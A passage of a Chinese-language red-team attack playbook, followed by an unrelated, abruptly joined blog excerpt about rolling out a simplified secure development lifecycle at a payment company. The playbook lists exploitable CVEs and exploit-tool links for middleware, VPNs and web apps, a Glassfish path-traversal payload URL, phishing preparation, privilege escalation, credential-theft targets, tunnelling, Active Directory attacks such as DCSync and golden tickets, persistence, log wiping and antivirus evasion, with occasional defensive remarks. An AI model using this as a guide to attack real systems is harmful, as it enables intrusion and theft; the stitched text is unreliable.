Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057
利用工具:
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell
工具检查和漏洞利用:
https://github.com/0xn0ne/weblogicScanner(工具检查)
https://github.com/zhzyker/exphub/tree/master/weblogic (工具利用) 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell
利用工具:
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell
  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]
漏洞利用总结:
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行
漏洞利用总结:
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露
漏洞总结:
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令

默认账号密码都是guest/guest(默认端口:15672,25672,15692)

  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell
漏洞利用:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell
漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历
漏洞利用:
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254
漏洞利用:
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]
漏洞利用:
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露
  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用

针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]

AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用

Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用

  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269
  • 禅道项目管理系统
SQL注入
文件读取
远程执行
  • 通达OA
SQL注入
任意上传
  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....
  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670
  • Citrix
CVE-2019-19781
  • Jumpserver
身份验证绕过
  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露
  • Cacti
低版本 SQL注入
控制台弱口令
  • Nagios
CVE-2016-9565
控制台弱口令
  • Webmin RCE
CVE-2019-15107 
  • PHPMailer
CVE-2016-10033
  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]

各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]

后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用

  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]
  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]
  • Sangfor Vpn RCE

0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ]

此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明
  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取

传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点

  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......
  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...
第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用,防御重点 ]

以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及
  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		
  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272
  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ]

  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作
  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的
  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]

  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"

  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]
  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ]

出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ]

  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......
  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]
  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service
  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法
  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]
  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...
  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ]

  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本WindowsWinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行
  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具
windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容)
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容)
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件)
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具:
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行
  • 从 *inux平台 横向至 *inux 平台
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行
  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]
之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......

0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]

  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...
  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...
  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理

web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架

CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具

菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗

  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...
  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药
  • 流量:
域前置[利用大厂cdn]
工具参考:
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具:
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]

一、前言

一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中,没多久因为各种原因离职。18年入职5月一家第三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的重视(主要还是监管),所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL,和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。

1ny3pkehcx214714.png

上图为标准版的SDL,由于运维采用DevOps体系,测试也使用自动化进行功能测试,版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法,决定把SDL精简化 。精简版SDL如下:

aeoyfk5chb514715.png.

二、精简版SDL落地实践

安全培训

SDL核心之一就是安全培训,所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK

安全编码:

我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。
aouwl0smk0g14716.png
因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对开发和新员工入职的培训。
s1npa4ttwiz14717.png

安全意识:

公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。
eykrzdpfbxp14718.png
宣传完之后答题,答题满分送小礼品

sfpovyyowsv14719.png
因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理想。

yope34pbxas14720.png

安全知识库:

在漏洞修复过程中,开发很多不太了解漏洞原理、修复方案,所以我们建立了安全知识库,开发先到安全知识库查相关解决方法。找不到的再和安全人员沟通,安全人员对知识库不断更新,形成一个闭环。

nacyaaf3x4014721.png

安全SDK

由于公司有架构部门,开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后,让架构将一些漏洞修复方式用SDK实现,开发只需要导入JAR包,在配置文件中配置即可。其中也挺多坑的,需要慢慢优化。

n3hnro2ei4e14722.png

三、 安全需求设计

公司有项目立项系统,所有的项目立项都需要通过系统来进行立项,安全为必选项,评审会安全也必须要参与

phfch1ltbmv14723.png

这个时候基本上项目经理会找安全人员进行沟通,copy了一份VIP的产品安全设计规范,根据需求文档和项目经理确定安全需求。

nccvvjuzrtk14725.png
确认好安全需求之后将按需求加入到需求文档,并确认安全测试时间,此流程只针对新项目,已经上线的项目的需求并未按照此流程,后续在安全测试时候会讲到这部分的项目是怎么做的。

gy3i3uvgbbz14726.png

四、开发、安全测试

安全测试主要分为代码审计,漏洞扫描,手工安全测试。由此衍生出来的安全产品分为3类。DAST:动态应用程序安全测试 (wvs,appscan)、SAST:静态应用程序安全测试 (fortify,rips)、IAST:交互式应用程序安全测试 (seeker,雳鉴),这三种产品的详细介绍可以参考https://www.aqniu.com/learn/46910.html,下图为三种产品的测试结果对比。

ehusiqlpmcb14727.png
